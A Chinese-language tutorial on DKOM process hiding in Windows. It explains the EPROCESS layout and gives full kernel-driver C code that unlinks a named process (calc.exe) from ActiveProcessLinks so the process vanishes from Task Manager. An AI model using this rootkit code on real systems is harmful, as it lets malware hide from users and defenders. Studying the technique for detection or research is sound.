DKOM（Direct Kernel Object Manipulation，直接内核对象操作）是一种攻击技术，它可以通过直接访问操作系统内核对象，实现对系统的控制和操纵。在这种攻击中，攻击者可以使用一些技巧来隐藏自己的驱动程序，从而使其难以被检测和清除。其中，一种常见的技巧就是在操作系统内核对象中隐藏进程信息，使进程在系统中不可见。

在Windows操作系统中，每个进程都有一个EPROCESS结构和一个或多个ETHREAD结构，它们记录了有关进程和线程的重要信息。在实现进程隐藏时，攻击者可以直接访问系统的EPROCESS链表，并将某个进程的EPROCESS结构从链表中摘除。这样，该进程在系统中就不再可见，而操作系统的其他组件则不会注意到这个进程的存在。

DKOM 隐藏进程的本质是操作EPROCESS结构体，EPROCESS结构体中包含了系统中的所有进程相关信息，还有很多指向其他结构的指针，首先我们可以通过WinDBG在内核调试模式下输入`dt_eprocess`即可查看到当前的EPROCESS结构体的偏移信息，结构较多，但常用的就下面这几个。

```
kd> dt_eprocess

nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER                    // 创建时间
   +0x170 ExitTime         : _LARGE_INTEGER                      // 退出时间
   +0x180 UniqueProcessId  : Ptr64 Void                          // 进程的PID
   +0x188 ActiveProcessLinks : _LIST_ENTRY                     // 活动进程链表
   +0x200 ObjectTable      : Ptr64 _HANDLE_TABLE          // 指向句柄表的指针
   +0x2d8 Session          : Ptr64 Void                                  // 会话列表
   +0x2e0 ImageFileName    : [15] UChar                          // 进程的名称
   +0x308 ThreadListHead   : _LIST_ENTRY                       // 进程中的线程链表结构
   +0x320 Wow64Process     : Ptr64 Void                        // 32位进程链表
   +0x328 ActiveThreads    : Uint4B                                  // 活动的线程
   +0x32c ImagePathHash    : Uint4B                               // 镜像路径的Hash值
   +0x338 Peb              : Ptr64 _PEB                                  // 指向PEB结构的指针
   +0x440 Flags            : Uint4B                                    // 进程标志
```

要实现进程的隐藏我们需要关注结构中的`ActiveProcessLinks`该指针把每个进程的EPROCESS结构体连接成了双向链表，我们可以使用`ZwQuerySystemInformation`这个函数来遍历出所有的进程信息，要实现进程的隐藏，只需要将某个进程的EPROCESS从结构体中摘除，那么通过`ZwQuerySystemInformation`函数就无法遍历出被摘链的进程了，从而实现了进程的隐藏。

进程隐藏可分为三个步骤：

- 使用 ZwQuerySystemInformation 函数遍历出所有的进程信息，通过访问 SYSTEM_PROCESS_INFORMATION 结构体中的 NextEntryOffset 字段，可以遍历出系统中的所有进程信息。
- 针对需要隐藏的进程，将其在 EPROCESS 结构体中的 ActiveProcessLinks 链表中摘除。
- 由于被隐藏的进程已经从 ActiveProcessLinks 链表中移除，因此再次遍历 SYSTEM_PROCESS_INFORMATION 结构体，就无法再次遍历到该进程的信息。

在实现进程隐藏之前，我们需要通过代码的方式获取到当前系统中所有进程的EPROCESS信息，我们可以通过`PsLookupProcessByProcessId`函数获取到指定进程的ID，然后通过`PsGetProcessImageFileName`函数取出结构名称，并通过`_stricmp`判断是否是我们想要隐藏的程序。

在实现进程隐藏之前，我们需要获取到当前系统中所有进程的EPROCESS信息，可以使用以下步骤：

- 使用 PsLookupProcessByProcessId 函数获取指定进程的 EPROCESS 结构体指针，该函数需要传入进程的 PID（进程ID）。

- 使用 PsGetProcessImageFileName 函数获取进程的镜像文件名称，该函数需要传入进程的 EPROCESS 结构体指针。
- 判断进程的镜像文件名称是否为我们要隐藏的进程。这里可以使用 `_stricmp` 函数进行字符串比较，该函数忽略大小写。

如果进程的镜像文件名称与我们要隐藏的进程名称相同，则可以将该进程的 EPROCESS 结构体从 ActiveProcessLinks 双向链表中移除，从而实现进程的隐藏。

先来实现一个简单的函数`GetProcessObjectByName`该函数用于接收一个进程名，并输出该进程的`PEPROCESS`结构;

```
#include <ntifs.h>

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
  DbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
  SIZE_T temp;
  for (temp = 100; temp<10000; temp += 4)
  {
    NTSTATUS status;
    PEPROCESS ep;
    status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
    if (NT_SUCCESS(status))
    {
      char *pn = PsGetProcessImageFileName(ep);
      if (_stricmp(pn, name) == 0)
        return ep;
    }
  }
  return NULL;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  PEPROCESS PRoc = NULL;
  PRoc = GetProcessObjectByName("calc.exe");
  DriverObject->DriverUnload = UnDriver;
  return STATUS_SUCCESS;
}
```

然后得到句柄以后直接摘除进程的结构即可实现隐藏，这种摘除方式比较草率，如果关闭驱动后没有手工还原的话可能会导致蓝屏，目前该方法只用于在Windows7上正常使用。

```
#include <ntifs.h>
```

```
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
  DbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
  SIZE_T temp;
  for (temp = 100; temp<10000; temp += 4)
  {
    NTSTATUS status;
    PEPROCESS ep;
    status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
    if (NT_SUCCESS(status))
    {
      char *pn = PsGetProcessImageFileName(ep);
      if (_stricmp(pn, name) == 0)
        return ep;
    }
  }
  return NULL;
}

VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
  KIRQL OldIrql;
  OldIrql = KeRaiseIrqlToDpcLevel();
  if (ListEntry->Flink != ListEntry &&ListEntry->Blink != ListEntry &&ListEntry->Blink-
>Flink == ListEntry &&ListEntry->Flink->Blink == ListEntry)
  {
    ListEntry->Flink->Blink = ListEntry->Blink;
    ListEntry->Blink->Flink = ListEntry->Flink;
    ListEntry->Flink = ListEntry;
    ListEntry->Blink = ListEntry;
  }
  KeLowerIrql(OldIrql);
}

// 隐藏指定进程(会蓝屏)
BOOLEAN HideProcessB(PUCHAR pszHideProcessName)
{
    PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
    ULONG ulOffset = 0;
    HANDLE hProcessId = NULL;
    PUCHAR pszProcessName = NULL;

    // 获取相应偏移大小
    ulOffset = PROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
```

```
    if (0 == ulOffset)
    {
        return FALSE;
    }

    // 获取当前进程结构对象
    pFirstEProcess = PsGetCurrentProcess();
    pEProcess = pFirstEProcess;

    // 开始遍历枚举进程
    do
    {
        // 从 EPROCESS 获取进程 PID
        hProcessId = PsGetProcessId(pEProcess);

        // 从 EPROCESS 获取进程名称
        pszProcessName = PsGetProcessImageFileName(pEProcess);

        // 隐藏指定进程
        if (0 == _stricmp(pszProcessName, pszHideProcessName))
        {
            // 摘链
            RemoveEntryList((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset));
            break;
        }

        // 根据偏移计算下一个进程的 EPROCESS
        pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
    } while (pFirstEProcess != pEProcess);
    return TRUE;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  PEPROCESS PRoc = NULL;
  PRoc = GetProcessObjectByName("calc.exe");

  // 摘除结构中的calc.exe 实现驱动隐藏计算器
  RemoveListEntry((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
  DriverObject->DriverUnload = UnDriver;
  return STATUS_SUCCESS;
}
```

当然此种方式的实现原理仅仅只是在链表中剔除了特定进程，此类隐藏仅仅只是在任务管理器内不可见，且该方法存在一定风险和局限性，不建议未经充分考虑和了解相关知识的用户尝试使用。